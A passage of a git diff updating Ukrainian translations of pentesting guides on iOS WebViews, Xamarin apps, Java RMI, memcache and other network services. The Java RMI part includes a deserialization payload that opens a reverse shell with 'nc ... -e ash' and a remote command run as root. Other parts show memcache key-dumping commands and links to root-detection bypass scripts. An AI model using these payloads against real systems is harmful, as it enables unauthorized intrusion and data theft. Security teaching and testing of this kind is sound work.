+57,7 @@ $ rabin2 -zz ./WheresMyBrowser | grep -i "hasonlysecurecontent" ``` ### **Інсайти динамічного аналізу** -Динамічний аналіз передбачає перевірку купи на наявність екземплярів WebView та їх властивостей. Для цієї мети використовується скрипт під назвою `webviews_inspector.js`, який націлений на екземпляри `UIWebView`, `WKWebView` та `SFSafariViewController`. Він реєструє інформацію про знайдені екземпляри, включаючи URL-адреси та налаштування, пов'язані з JavaScript та безпечним контентом. +Динамічний аналіз передбачає перевірку купи на наявність екземплярів WebView та їх властивостей. Для цього використовується скрипт з назвою `webviews_inspector.js`, який націлений на екземпляри `UIWebView`, `WKWebView` та `SFSafariViewController`. Він реєструє інформацію про знайдені екземпляри, включаючи URL-адреси та налаштування, пов'язані з JavaScript та безпечним контентом. Перевірку купи можна проводити за допомогою `ObjC.choose()`, щоб ідентифікувати екземпляри WebView та перевірити властивості `javaScriptEnabled` та `hasonlysecurecontent`. ```javascript:webviews_inspector.js @@ -114,7 +114,7 @@ frida -U com.authenticationfailure.WheresMyBrowser -l webviews_inspector.js **Ключові результати**: - Екземпляри WebViews успішно знайдені та перевірені. -- Перевірено активацію JavaScript та налаштування безпечного контенту. +- Перевірено налаштування активації JavaScript та безпечного контенту. Цей підсумок охоплює критичні кроки та команди, що беруть участь в аналізі конфігурацій WebView через статичні та динамічні підходи, зосереджуючи увагу на функціях безпеки, таких як активація JavaScript та виявлення змішаного контенту. @@ -131,7 +131,7 @@ $ rabin2 -zz ./WheresMyBrowser | grep -i "loadHTMLString" ``` Щодо **доступу до файлів**, UIWebView дозволяє його універсально, тоді як WKWebView вводить налаштування `allowFileAccessFromFileURLs` та `allowUniversalAccessFromFileURLs` для управління доступом з файлових URL, причому обидва за замовчуванням мають значення false. -Приклад скрипта Frida надається для перевірки конфігурацій **WKWebView** щодо налаштувань безпеки: +Приклад скрипта Frida надається для перевірки конфігурацій **WKWebView** для налаштувань безпеки: ```bash ObjC.choose(ObjC.classes['WKWebView'], { onMatch: function (wk) { @@ -213,7 +213,7 @@ userContentController.add(javaScriptBridgeMessageHandler, name: "javaScriptBridg ``` ### Взаємодія та Тестування -JavaScript може взаємодіяти з нативним шаром, визначаючи обробник повідомлень скрипта. Це дозволяє виконувати операції, такі як виклик нативних функцій з веб-сторінки: +JavaScript може взаємодіяти з рідним шаром, визначаючи обробник повідомлень скрипта. Це дозволяє виконувати операції, такі як виклик рідних функцій з веб-сторінки: ```javascript function invokeNativeOperation() { value1 = document.getElementById("value1").value @@ -258,16 +258,16 @@ message.webView?.evaluateJavaScript(javaScriptCallBack, completionHandler: nil) Щоб ефективно налагоджувати веб-контент у iOS webviews, потрібна специфічна налаштування, що включає інструменти розробника Safari, оскільки повідомлення, надіслані до `console.log()`, не відображаються в журналах Xcode. Ось спрощений посібник, що підкреслює ключові кроки та вимоги: -- **Підготовка на пристрої iOS**: Необхідно активувати Safari Web Inspector на вашому пристрої iOS. Це робиться через **Налаштування > Safari > Додатково**, і увімкнення _Web Inspector_. +- **Підготовка на пристрої iOS**: Необхідно активувати Web Inspector Safari на вашому пристрої iOS. Це робиться через **Налаштування > Safari > Додатково**, і ввімкнення _Web Inspector_. -- **Підготовка на пристрої macOS**: На вашій розробницькій машині macOS потрібно увімкнути інструменти розробника в Safari. Запустіть Safari, перейдіть до **Safari > Налаштування > Додатково**, і виберіть опцію _Показати меню Розробка_. +- **Підготовка на пристрої macOS**: На вашій розробницькій машині macOS потрібно ввімкнути інструменти розробника в Safari. Запустіть Safari, перейдіть до **Safari > Налаштування > Додатково**, і виберіть опцію _Показати меню Розробка_. -- **З'єднання та налагодження**: Після підключення вашого пристрою iOS до комп'ютера macOS і запуску вашого додатку, використовуйте Safari на вашому пристрої macOS, щоб вибрати webview, який ви хочете налагоджувати. Перейдіть до _Розробка_ в меню Safari, наведіть курсор на ім'я вашого пристрою iOS, щоб побачити список екземплярів webview, і виберіть екземпляр, який ви хочете перевірити. Відкриється нове вікно Safari Web Inspector для цієї мети. +- **З'єднання та налагодження**: Після підключення вашого пристрою iOS до комп'ютера macOS і запуску вашого додатку, використовуйте Safari на вашому пристрої macOS, щоб вибрати webview, який ви хочете налагоджувати. Перейдіть до _Розробка_ в меню Safari, наведіть курсор на ім'я вашого пристрою iOS, щоб побачити список екземплярів webview, і виберіть екземпляр, який ви хочете перевірити. Відкриється нове вікно Web Inspector Safari для цієї мети. Однак, будьте обережні з обмеженнями: - Налагодження цим методом вимагає пристрою macOS, оскільки воно залежить від Safari. -- Тільки webviews у додатках, завантажених на ваш пристрій через Xcode, підлягають налагодженню. Webviews у додатках, встановлених через App Store або Apple Configurator, не можуть бути налагоджені цим способом. +- Тільки webviews у додатках, завантажених на ваш пристрій через Xcode, підлягають налагодженню. Webviews у додатках, встановлених через App Store або Apple Configurator, не можуть бути налагоджені таким чином. ## Посилання diff --git a/src/mobile-pentesting/xamarin-apps.md b/src/mobile-pentesting/xamarin-apps.md index bef19f207..24063ec54 100644 --- a/src/mobile-pentesting/xamarin-apps.md +++ b/src/mobile-pentesting/xamarin-apps.md @@ -4,22 +4,22 @@ ## **Основна інформація** -Xamarin є **платформою з відкритим кодом**, призначеною для розробників для **створення додатків для iOS, Android та Windows** з використанням фреймворків .NET та C#. Ця платформа надає доступ до численних інструментів та розширень для ефективного створення сучасних додатків. +Xamarin - це **платформа з відкритим кодом**, призначена для розробників для **створення додатків для iOS, Android та Windows** з використанням фреймворків .NET та C#. Ця платформа надає доступ до численних інструментів та розширень для ефективного створення сучасних додатків. ### Архітектура Xamarin -- Для **Android** Xamarin інтегрується з Android та Java просторами імен через .NET зв'язки, працюючи в середовищі виконання Mono разом з Android Runtime (ART). Managed Callable Wrappers (MCW) та Android Callable Wrappers (ACW) полегшують зв'язок між Mono та ART, обидва з яких побудовані на ядрі Linux. -- Для **iOS** додатки працюють під управлінням середовища виконання Mono, використовуючи повну компіляцію Ahead of Time (AOT) для перетворення коду C# .NET в ARM асемблерну мову. Цей процес відбувається поряд з Objective-C Runtime на ядрі, подібному до UNIX. +- Для **Android** Xamarin інтегрується з Android та Java просторами імен через прив'язки .NET, працюючи в середовищі виконання Mono разом з Android Runtime (ART). Managed Callable Wrappers (MCW) та Android Callable Wrappers (ACW) полегшують зв'язок між Mono та ART, обидва з яких побудовані на ядрі Linux. +- Для **iOS** додатки працюють під середовищем виконання Mono, використовуючи повну компіляцію Ahead of Time (AOT) для перетворення коду C# .NET в асемблерну мову ARM. Цей процес працює разом з Objective-C Runtime на ядрі, подібному до UNIX. ### .NET Runtime та Mono Framework -**.NET framework** включає збірки, класи та простори імен для розробки додатків, при цьому .NET Runtime керує виконанням коду. Він пропонує незалежність від платформи та зворотну сумісність. **Mono Framework** є версією .NET framework з відкритим кодом, ініційованою в 2005 році для розширення .NET на Linux, тепер підтримується Microsoft і очолюється Xamarin. +**.NET framework** включає збірки, класи та простори імен для розробки додатків, при цьому .NET Runtime керує виконанням коду. Він пропонує незалежність від платформи та зворотну сумісність. **Mono Framework** - це версія .NET framework з відкритим кодом, ініційована в 2005 році для розширення .NET на Linux, тепер підтримується Microsoft і очолюється Xamarin. ### Реверс-інжиніринг додатків Xamarin #### Декомпіляція збірок Xamarin -Декомпіляція перетворює скомпільований код назад у вихідний код. У Windows вікно Модулі в Visual Studio може ідентифікувати модулі для декомпіляції, що дозволяє безпосередній доступ до стороннього коду та витягування вихідного коду для аналізу. +Декомпіляція перетворює скомпільований код назад у вихідний код. У Windows вікно Модулі у Visual Studio може ідентифікувати модулі для декомпіляції, що дозволяє безпосередній доступ до коду третіх сторін та витягування вихідного коду для аналізу. #### JIT проти AOT компіляції @@ -37,7 +37,7 @@ python3 xamarin-decompress.py -o /path/to/decompressed/apk ```bash pyxamstore unpack -d /path/to/decompressed/apk/assemblies/ ``` -Файли iOS dll легко доступні для декомпіляції, що розкриває значні частини коду програми, який часто має спільну базу на різних платформах. +Файли iOS dll легко доступні для декомпіляції, що відкриває значні частини коду програми, який часто має спільну основу на різних платформах. ### Статичний аналіз @@ -46,7 +46,7 @@ pyxamstore unpack -d /path/to/decompressed/apk/assemblies/ ### Динамічний аналіз -Динамічний аналіз включає перевірку на SSL pinning та використання інструментів, таких як [Fridax](https://github.com/NorthwaveSecurity/fridax) для модифікацій .NET бінарників під час виконання в додатках Xamarin. Скрипти Frida доступні для обходу виявлення root або SSL pinning, що покращує можливості аналізу. +Динамічний аналіз передбачає перевірку на SSL pinning і використання інструментів, таких як [Fridax](https://github.com/NorthwaveSecurity/fridax) для модифікацій .NET бінарних файлів у програмах Xamarin під час виконання. Доступні скрипти Frida для обходу виявлення root або SSL pinning, що покращує можливості аналізу. Інші цікаві скрипти Frida: @@ -54,7 +54,7 @@ pyxamstore unpack -d /path/to/decompressed/apk/assemblies/ - [**xamarin-root-detect-bypass**](https://codeshare.frida.re/@nuschpl/xamarin-root-detect-bypass/) - [**Frida-xamarin-unpin**](https://github.com/GoSecure/frida-xamarin-unpin) -### Підписування заново +### Підписування Інструмент [Uber APK Signer](https://github.com/patrickfav/uber-apk-signer) спрощує підписування кількох APK з одним і тим же ключем і може бути використаний для повторного підписування програми після внесення змін. diff --git a/src/network-services-pentesting/10000-network-data-management-protocol-ndmp.md b/src/network-services-pentesting/10000-network-data-management-protocol-ndmp.md index 46eb41e24..899e6ea1d 100644 --- a/src/network-services-pentesting/10000-network-data-management-protocol-ndmp.md +++ b/src/network-services-pentesting/10000-network-data-management-protocol-ndmp.md @@ -2,7 +2,7 @@ # **Інформація про протокол** -З [Wikipedia](https://en.wikipedia.org/wiki/NDMP): +З [Вікіпедії](https://en.wikipedia.org/wiki/NDMP): > **NDMP**, або **Протокол управління даними в мережі**, є протоколом, призначеним для транспортування даних між пристроями, підключеними до мережі зберігання \([NAS](https://en.wikipedia.org/wiki/Network-attached_storage)\), та пристроями [резервного копіювання](https://en.wikipedia.org/wiki/Backup). Це усуває необхідність транспортування даних через сам сервер резервного копіювання, тим самим підвищуючи швидкість і зменшуючи навантаження на сервер резервного копіювання. diff --git a/src/network-services-pentesting/1026-pentesting-rusersd.md b/src/network-services-pentesting/1026-pentesting-rusersd.md index 9dc7ccba3..87cb43ef5 100644 --- a/src/network-services-pentesting/1026-pentesting-rusersd.md +++ b/src/network-services-pentesting/1026-pentesting-rusersd.md @@ -4,7 +4,7 @@ ## Основна інформація -Цей протокол надасть вам імена користувачів хоста. Ви можете знайти ці сервіси, перераховані службою порт-маппера, ось так: +Цей протокол надасть вам імена користувачів хоста. Ви можете знайти ці сервіси, перераховані службою порт-мепінгу, ось так: ![](<../images/image (1041).png>) diff --git a/src/network-services-pentesting/1080-pentesting-socks.md b/src/network-services-pentesting/1080-pentesting-socks.md index 0aa7d11ae..ee513fc2e 100644 --- a/src/network-services-pentesting/1080-pentesting-socks.md +++ b/src/network-services-pentesting/1080-pentesting-socks.md @@ -4,7 +4,7 @@ ## Основна інформація -**SOCKS** - це протокол, що використовується для передачі даних між клієнтом і сервером через проксі. П'ята версія, **SOCKS5**, додає необов'язкову функцію аутентифікації, що дозволяє лише авторизованим користувачам отримувати доступ до сервера. Він в основному обробляє проксирування TCP-з'єднань та пересилання UDP-пакетів, працюючи на рівні сесії (Рівень 5) моделі OSI. +**SOCKS** - це протокол, що використовується для передачі даних між клієнтом і сервером через проксі. П'ята версія, **SOCKS5**, додає необов'язкову функцію аутентифікації, що дозволяє лише авторизованим користувачам отримувати доступ до сервера. Він в основному обробляє проксирування TCP-з'єднань і пересилання UDP-пакетів, працюючи на рівні сесії (Рівень 5) моделі OSI. **Порт за замовчуванням:** 1080 diff --git a/src/network-services-pentesting/1099-pentesting-java-rmi.md b/src/network-services-pentesting/1099-pentesting-java-rmi.md index 1534fe181..bbfc4d899 100644 --- a/src/network-services-pentesting/1099-pentesting-java-rmi.md +++ b/src/network-services-pentesting/1099-pentesting-java-rmi.md @@ -25,7 +25,7 @@ _nmap_ іноді має проблеми з ідентифікацією _SSL_ 1. Щоб надіслати виклик методу через _Java RMI_, клієнти повинні знати IP-адресу, порт прослуховування, реалізований клас або інтерфейс та `ObjID` цільового об'єкта ( `ObjID` - це унікальний та випадковий ідентифікатор, який створюється, коли об'єкт стає доступним в мережі. Він потрібен, оскільки _Java RMI_ дозволяє кільком об'єктам прослуховувати один і той же _TCP_ порт). 2. Віддалені клієнти можуть виділяти ресурси на сервері, викликаючи методи на відкритому об'єкті. _Java віртуальна машина_ повинна відстежувати, які з цих ресурсів все ще використовуються, а які можуть бути зібрані сміттям. -Перший виклик вирішується _RMI реєстром_, який в основному є службою імен для _Java RMI_. Сам _RMI реєстр_ також є _RMI сервісом_, але реалізований інтерфейс та `ObjID` є фіксованими та відомими всім _RMI_ клієнтам. Це дозволяє _RMI_ клієнтам використовувати _RMI_ реєстр, просто знаючи відповідний _TCP_ порт. +Перший виклик вирішується за допомогою _RMI реєстру_, який в основному є службою імен для _Java RMI_. Сам _RMI реєстр_ також є _RMI сервісом_, але реалізований інтерфейс та `ObjID` є фіксованими та відомими всім _RMI_ клієнтам. Це дозволяє _RMI_ клієнтам використовувати _RMI_ реєстр, просто знаючи відповідний _TCP_ порт. Коли розробники хочуть зробити свої _Java об'єкти_ доступними в мережі, вони зазвичай прив'язують їх до _RMI реєстру_. _Реєстр_ зберігає всю інформацію, необхідну для підключення до об'єкта (IP-адреса, порт прослуховування, реалізований клас або інтерфейс та значення `ObjID`) і робить її доступною під зрозумілим ім'ям ( _прив'язане ім'я_). Клієнти, які хочуть використовувати _RMI сервіс_, запитують _RMI реєстр_ про відповідне _прив'язане ім'я_, і реєстр повертає всю необхідну інформацію для підключення. Таким чином, ситуація в основному така ж, як і з звичайною _DNS_ службою. Наступний список показує невеликий приклад: ```java @@ -51,7 +51,7 @@ e.printStackTrace(); } } ``` -Другий з вищезгаданих викликів вирішується за допомогою _Distributed Garbage Collector_ (_DGC_). Це ще одна _RMI service_ з відомим значенням `ObjID` і вона доступна на практично кожному _RMI endpoint_. Коли _RMI client_ починає використовувати _RMI service_, він надсилає інформацію до _DGC_, що відповідний _remote object_ використовується. _DGC_ може відстежувати кількість посилань і здатний очищати невикористовувані об'єкти. +Другий з вищезгаданих викликів вирішується за допомогою _Distributed Garbage Collector_ (_DGC_). Це ще одна _RMI service_ з відомим значенням `ObjID` і вона доступна практично на кожному _RMI endpoint_. Коли _RMI client_ починає використовувати _RMI service_, він надсилає інформацію до _DGC_, що відповідний _remote object_ використовується. _DGC_ може відстежувати кількість посилань і здатний очищати невикористовувані об'єкти. Разом з застарілою _Activation System_, це три стандартні компоненти _Java RMI_: @@ -59,11 +59,11 @@ e.printStackTrace(); 2. _Activation System_ (`ObjID = 1`) 3. _Distributed Garbage Collector_ (`ObjID = 2`) -Стандартні компоненти _Java RMI_ відомі як вектори атак протягом досить тривалого часу, і існує кілька вразливостей в застарілих версіях _Java_. З точки зору атакуючого, ці стандартні компоненти є цікавими, оскільки вони реалізують відомі класи / інтерфейси, і з ними легко взаємодіяти. Ця ситуація відрізняється для кастомних _RMI services_. Щоб викликати метод на _remote object_, вам потрібно заздалегідь знати відповідний підпис методу. Без знання існуючого підпису методу немає способу зв'язатися з _RMI service_. +Стандартні компоненти _Java RMI_ відомі як вектори атак протягом досить тривалого часу, і в застарілих версіях _Java_ існує кілька вразливостей. З точки зору атакуючого, ці стандартні компоненти є цікавими, оскільки вони реалізують відомі класи / інтерфейси, і з ними легко взаємодіяти. Ця ситуація відрізняється для кастомних _RMI services_. Щоб викликати метод на _remote object_, вам потрібно заздалегідь знати відповідний підпис методу. Без знання існуючого підпису методу немає способу зв'язатися з _RMI service_. ## RMI Enumeration -[remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) є _Java RMI_ сканером вразливостей, який здатний автоматично виявляти загальні _RMI vulnerabilities_. Коли ви виявляєте _RMI_ endpoint, вам слід спробувати: +[remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) є _Java RMI_ сканером вразливостей, який здатний автоматично виявляти загальні _RMI vulnerabilities_. Коли ви виявляєте _RMI_ endpoint, вам слід спробувати це: ``` $ rmg enum 172.17.0.2 9010 [+] RMI registry bound names: @@ -125,7 +125,7 @@ $ rmg enum 172.17.0.2 9010 ``` Вивід дії перерахунку пояснюється детальніше на [сторінках документації](https://github.com/qtc-de/remote-method-guesser/blob/master/docs/rmg/actions.md#enum-action) проекту. Залежно від результату, ви повинні спробувати перевірити виявлені вразливості. -Значення `ObjID`, які відображає _remote-method-guesser_, можна використовувати для визначення часу безперервної роботи сервісу. Це може дозволити виявити інші вразливості: +Значення `ObjID`, які відображає _remote-method-guesser_, можна використовувати для визначення часу безперервної роботи служби. Це може дозволити виявити інші вразливості: ``` $ rmg objid '[55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]' [+] Details for ObjID [55ff5a5d:17e0501b054:-7ff8, -4004948013687638236] @@ -175,7 +175,7 @@ $ rmg guess 172.17.0.2 9010 $ rmg call 172.17.0.2 9010 '"id"' --bound-name plain-server --signature "String execute(String dummy)" --plugin GenericPrint.jar [+] uid=0(root) gid=0(root) groups=0(root) ``` -Або ви можете виконати атаки десеріалізації, як це: +Або ви можете виконати атаки десеріалізації ось так: ``` $ rmg serial 172.17.0.2 9010 CommonsCollections6 'nc 172.17.0.1 4444 -e ash' --bound-name plain-server --signature "String execute(String dummy)" [+] Creating ysoserial payload... done. @@ -209,7 +209,7 @@ uid=0(root) gid=0(root) groups=0(root) ## Відомі інтерфейси -[remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) позначає класи або інтерфейси як `known`, якщо вони зазначені в внутрішній базі даних інструменту відомих _RMI services_. У цих випадках ви можете використовувати дію `known`, щоб отримати більше інформації про відповідний _RMI service_: +[remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) позначає класи або інтерфейси як `known`, якщо вони внесені до внутрішньої бази даних інструменту відомих _RMI services_. У цих випадках ви можете використовувати дію `known`, щоб отримати більше інформації про відповідний _RMI service_: ``` $ rmg enum 172.17.0.2 1090 | head -n 5 [+] RMI registry bound names: diff --git a/src/network-services-pentesting/11211-memcache/README.md b/src/network-services-pentesting/11211-memcache/README.md index ebe09abc4..5735bf433 100644 --- a/src/network-services-pentesting/11211-memcache/README.md +++ b/src/network-services-pentesting/11211-memcache/README.md @@ -6,9 +6,9 @@ З [wikipedia](https://en.wikipedia.org/wiki/Memcached): -> **Memcached** (вимова: mem-cashed, mem-cash-dee) - це універсальна розподілена [система кешування пам'яті](https://en.wikipedia.org/wiki/Memory_caching). Вона часто використовується для прискорення динамічних веб-сайтів, що працюють з базами даних, шляхом кешування даних та об'єктів у RAM, щоб зменшити кількість разів, коли зовнішнє джерело даних (таке як база даних або API) повинно бути прочитане. +> **Memcached** (вимова: мем-кешд, мем-кеш-ді) - це загальносистемна розподілена [система кешування пам'яті](https://en.wikipedia.org/wiki/Memory_caching). Вона часто використовується для прискорення динамічних веб-сайтів, що працюють з базами даних, шляхом кешування даних та об'єктів у пам'яті (RAM), щоб зменшити кількість разів, коли зовнішнє джерело даних (таке як база даних або API) повинно бути прочитане. -Хоча Memcached підтримує SASL, більшість екземплярів **виставлені без аутентифікації**. +Хоча Memcached підтримує SASL, більшість екземплярів **відкриті без аутентифікації**. **Порт за замовчуванням:** 11211 ``` @@ -53,13 +53,13 @@ msf > use auxiliary/scanner/memcached/memcached_amp #Check is UDP DDoS amplifica ``` ## **Вивантаження ключів Memcache** -У сфері memcache, протоколу, який допомагає організовувати дані за допомогою слебів, існують специфічні команди для перевірки збережених даних, хоча з помітними обмеженнями: +У сфері memcache, протоколу, що допомагає організовувати дані за допомогою слебів, існують специфічні команди для перевірки збережених даних, хоча з помітними обмеженнями: -1. Ключі можуть бути вивантажені лише за класом слеба, групуючи ключі схожого розміру вмісту. -2. Існує обмеження в одну сторінку на клас слеба, що дорівнює 1MB даних. +1. Ключі можуть бути вивантажені лише за класом слебів, групуючи ключі схожого розміру вмісту. +2. Існує обмеження в одну сторінку на клас слебів, що дорівнює 1MB даних. 3. Ця функція є неофіційною і може бути припинена в будь-який момент, як обговорюється на [форумі спільноти](https://groups.google.com/forum/?fromgroups=#!topic/memcached/1-T8I-RVGKM). -Обмеження в можливості вивантажити лише 1MB з потенційно гігабайтів даних є особливо значним. Однак ця функціональність все ще може надати уявлення про патерни використання ключів, залежно від конкретних потреб. Для тих, хто менш зацікавлений у механіці, візит до [розділу інструментів](https://lzone.de/cheat-sheet/memcached#tools) відкриває утиліти для комплексного вивантаження. Альтернативно, процес використання telnet для прямої взаємодії з налаштуваннями memcached описано нижче. +Обмеження в можливості вивантажити лише 1MB з потенційно гігабайтів даних є особливо значним. Однак ця функціональність все ще може надати уявлення про патерни використання ключів, залежно від конкретних потреб. Для тих, хто менш зацікавлений у механіці, візит до [розділу інструментів](https://lzone.de/cheat-sheet/memcached#tools) розкриває утиліти для комплексного вивантаження. Альтернативно, процес використання telnet для прямої взаємодії з налаштуваннями memcached описано нижче. ### **Як це працює** @@ -79,7 +79,7 @@ set mykey 0 60 1 1 STORED ``` -Виконання команди "stats slabs" після додавання ключа дає детальну статистику про використання слебів: +Виконання команди "stats slabs" після додавання ключа дає детальну статистику про використання слоїв: ```bash stats slabs [...] @@ -109,23 +109,23 @@ END ### **ВИВАНТАЖЕННЯ КЛЮЧІВ MEMCACHE (ВЕРСІЯ 1.4.31+)** -З версією memcache 1.4.31 та вище, введено новий, безпечніший метод для вивантаження ключів у виробничому середовищі, що використовує неблокуючий режим, як детально описано в [release notes](https://github.com/memcached/memcached/wiki/ReleaseNotes1431). Цей підхід генерує великий обсяг виходу, тому рекомендується використовувати команду 'nc' для підвищення ефективності. Приклади включають: +З версією memcache 1.4.31 та вище, введено новий, більш безпечний метод для вивантаження ключів у виробничому середовищі, що використовує неблокуючий режим, як зазначено в [випускних примітках](https://github.com/memcached/memcached/wiki/ReleaseNotes1431). Цей підхід генерує великий обсяг виходу, тому рекомендується використовувати команду 'nc' для підвищення ефективності. Приклади включають: ```bash echo 'lru_crawler metadump all' | nc 127.0.0.1 11211 | head -1 echo 'lru_crawler metadump all' | nc 127.0.0.1 11211 | grep ee6ba58566e234ccbbce13f9a24f9a28 ``` -### **ІНСТРУМЕНТИ ДЛЯ ВИТЯГУВАННЯ** +### **ІНСТРУМЕНТИ ДЛЯ ВИТЯГУ** Table [from here](https://lzone.de/blog). | Мови програмування | Інструменти | Функціональність | | | | ------------------- | ----------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | -------------------------------------------------------------------------- | ------- | -| PHP | [simple script](http://snipt.org/xtP) | Друкує імена ключів. | | | +| PHP | [simple script](http://snipt.org/xtP) | Друкує назви ключів. | | | | Perl | [simple script](https://wiki.jasig.org/download/attachments/13572172/memcached-clean.pl?version=1&modificationDate=1229693957401) | Друкує ключі та значення | | | -| Ruby | [simple script](https://gist.github.com/1365005) | Друкує імена ключів. | | | +| Ruby | [simple script](https://gist.github.com/1365005) | Друкує назви ключів. | | | | Perl | [memdump](https://search.cpan.org/~dmaki/Memcached-libmemcached-0.4202/src/libmemcached/docs/memdump.pod) | Інструмент у модулі CPAN | [Memcached-libmemcached](https://search.cpan.org/~dmaki/Memcached-libmemc) | ached/) | -| PHP | [memcache.php](http://livebookmark.net/journal/2008/05/21/memcachephp-stats-like-apcphp/) | GUI для моніторингу Memcache, яка також дозволяє витягувати ключі | | | -| libmemcached | [peep](http://blog.evanweaver.com/2009/04/20/peeping-into-memcached/) | **Заморожує ваш процес memcached!!!** Будьте обережні, використовуючи це в продуктивному середовищі. Все ще використовуючи це, ви можете обійти обмеження в 1 МБ і дійсно витягнути **всі** ключі. | | | +| PHP | [memcache.php](http://livebookmark.net/journal/2008/05/21/memcachephp-stats-like-apcphp/) | GUI моніторингу Memcache, який також дозволяє витягувати ключі | | | +| libmemcached | [peep](http://blog.evanweaver.com/2009/04/20/peeping-into-memcached/) | **Заморожує ваш процес memcached!!!** Будьте обережні, використовуючи це в продуктивному середовищі. Все ще використовуючи його, ви можете обійти обмеження в 1 МБ і дійсно витягнути **всі** ключі. | | | ## Виправлення помилок @@ -150,9 +150,9 @@ set my_key 0 2592000 1 memcached сам по собі не підтримує реплікацію. Якщо вам це дійсно потрібно, вам слід використовувати рішення сторонніх розробників: -- [repcached](http://repcached.lab.klab.org/): багатоголове асинхронне реплікування (набір патчів memcached 1.2) -- [Couchbase memcached interface](http://www.couchbase.com/memcached): використовуйте CouchBase як заміну memcached -- [yrmcds](https://cybozu.github.io/yrmcds/): сумісний з memcached Master-Slave сховище ключ-значення +- [repcached](http://repcached.lab.klab.org/): Багато майстрів асинхронна реплікація (набір патчів memcached 1.2) +- [Couchbase memcached interface](http://www.couchbase.com/memcached): Використовуйте CouchBase як заміну memcached +- [yrmcds](https://cybozu.github.io/yrmcds/): Сумісний з memcached Master-Slave сховище ключ-значення - [twemproxy](https://github.com/twitter/twemproxy) (також відомий як nutcracker): проксі з підтримкою memcached ### Команди Шпаргалка diff --git a/src/network-services-pentesting/11211-memcache/memcache-commands.md b/src/network-services-pentesting/11211-memcache/memcache-commands.md index e035260e7..21e08b34c 100644 --- a/src/network-services-pentesting/11211-memcache/memcache-commands.md +++ b/src/network-services-pentesting/11211-memcache/memcache-commands.md @@ -20,21 +20,21 @@ | append | Додає дані до існуючого ключа | `append key 0 60 15` | | prepend | Додає дані на початок існуючого ключа | `prepend key 0 60 15` | | incr | Збільшує числове значення ключа на задане число | `incr mykey 2` | -| decr | Зменшує числове значення ключа на задане число | `decr mykey 5` | +| decr | Зменшує числове значення ключа на задане число | `decr mykey 5` | | delete | Видаляє існуючий ключ | `delete mykey` | -| flush_all | Негайно анулює всі елементи | `flush_all` | -| flush_all | Негайно анулює всі елементи через n секунд | `flush_all 900` | -| stats | Виводить загальну статистику | `stats` | -| | Виводить статистику пам'яті | `stats slabs` | +| flush_all | Негайно анулює всі елементи | `flush_all` | +| flush_all | Негайно анулює всі елементи через n секунд | `flush_all 900` | +| stats | Виводить загальну статистику | `stats` | +| | Виводить статистику пам'яті | `stats slabs` | | | Виводить статистику виділення на вищому рівні | `stats malloc` | -| | Виводить інформацію про елементи | `stats items` | +| | Виводить інформацію про елементи | `stats items` | | | | `stats detail` | | | | `stats sizes` | -| | Скидає лічильники статистики | `stats reset` | -| lru_crawler metadump | Виводить (більшість) метаданих для (всіх) елементів у кеші | `lru_crawler metadump all` | +| | Скидає лічильники статистики | `stats reset` | +| lru_crawler metadump | Виводить (більшість) метаданих для (всіх) елементів у кеші | `lru_crawler metadump all` | | version | Виводить версію сервера. | `version` | | verbosity | Збільшує рівень журналювання | `verbosity` | -| quit | Завершує сесію | `quit` | +| quit | Завершує сесію | `quit` | #### Traffic Statistics @@ -97,7 +97,7 @@ STAT active_slabs 3 STAT total_malloced 3145436 END ``` -Якщо ви не впевнені, чи у вас достатньо пам'яті для вашого екземпляра memcached, завжди звертайте увагу на лічильники "evictions", які надає команда "stats". Якщо у вас достатньо пам'яті для екземпляра, лічильник "evictions" повинен бути 0 або принаймні не збільшуватися. +Якщо ви не впевнені, чи маєте достатньо пам'яті для вашого екземпляра memcached, завжди звертайте увагу на лічильники "evictions", які надає команда "stats". Якщо у вас достатньо пам'яті для екземпляра, лічильник "evictions" повинен бути 0 або принаймні не зростати. #### Які ключі використовуються? @@ -115,6 +115,6 @@ STAT items:2:age 1405 [...] END ``` -Це принаймні допомагає побачити, чи використовуються якісь ключі. Щоб вивантажити імена ключів з PHP-скрипта, який вже виконує доступ до memcache, ви можете використовувати PHP-код з [100days.de](http://100days.de/serendipity/archives/55-Dumping-MemcacheD-Content-Keys-with-PHP.html). +Це принаймні допомагає побачити, чи використовуються якісь ключі. Щоб вивантажити імена ключів з PHP-скрипта, який вже виконує доступ до memcache, ви можете використовувати PHP-код з [100days.de](http://100days.de/serendipity/archives/55-Dumping-MemcacheD-Content-Keys-with-PHP.html). {{#include ../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/113-pentesting-ident.md b/src/network-services-pentesting/113-pentesting-ident.md index 0e4cc783f..f1a27108d 100644 --- a/src/network-services-pentesting/113-pentesting-ident.md +++ b/src/network-services-pentesting/113-pentesting-ident.md @@ -6,7 +6,7 @@ Протокол **Ident** використовується через **Інтернет** для асоціації **TCP-з'єднання** з конкретним користувачем. Спочатку розроблений для допомоги в **управлінні мережею** та **безпеці**, він працює, дозволяючи серверу запитувати клієнта на порту 113 для отримання інформації про користувача конкретного TCP-з'єднання. -Однак, через сучасні проблеми конфіденційності та потенціал для зловживання, його використання зменшилося, оскільки він може ненавмисно розкривати інформацію про користувача несанкціонованим особам. Рекомендується впроваджувати посилені заходи безпеки, такі як зашифровані з'єднання та суворі контроль доступу, щоб зменшити ці ризики. +Однак, через сучасні проблеми конфіденційності та потенціал для зловживання, його використання зменшилося, оскільки він може ненавмисно розкривати інформацію про користувача несанкціонованим особам. Рекомендується впроваджувати посилені заходи безпеки, такі як зашифровані з'єднання та суворий контроль доступу, щоб зменшити ці ризики. **Порт за замовчуванням:** 113 ``` diff --git a/src/network-services-pentesting/135-pentesting-msrpc.md b/src/network-services-pentesting/135-pentesting-msrpc.md index 35e3e427d..b6d9340cb 100644 --- a/src/network-services-pentesting/135-pentesting-msrpc.md +++ b/src/network-services-pentesting/135-pentesting-msrpc.md @@ -6,13 +6,13 @@ Протокол Microsoft Remote Procedure Call (MSRPC), клієнт-серверна модель, що дозволяє програмі запитувати послугу у програми, розташованої на іншому комп'ютері, не розуміючи специфіки мережі, спочатку був отриманий з програмного забезпечення з відкритим кодом, а пізніше розроблений і захищений авторським правом компанією Microsoft. -Картографічний кінцевий пункт RPC можна отримати через TCP і UDP порт 135, SMB на TCP 139 і 445 (з нульовою або автентифікованою сесією), а також як 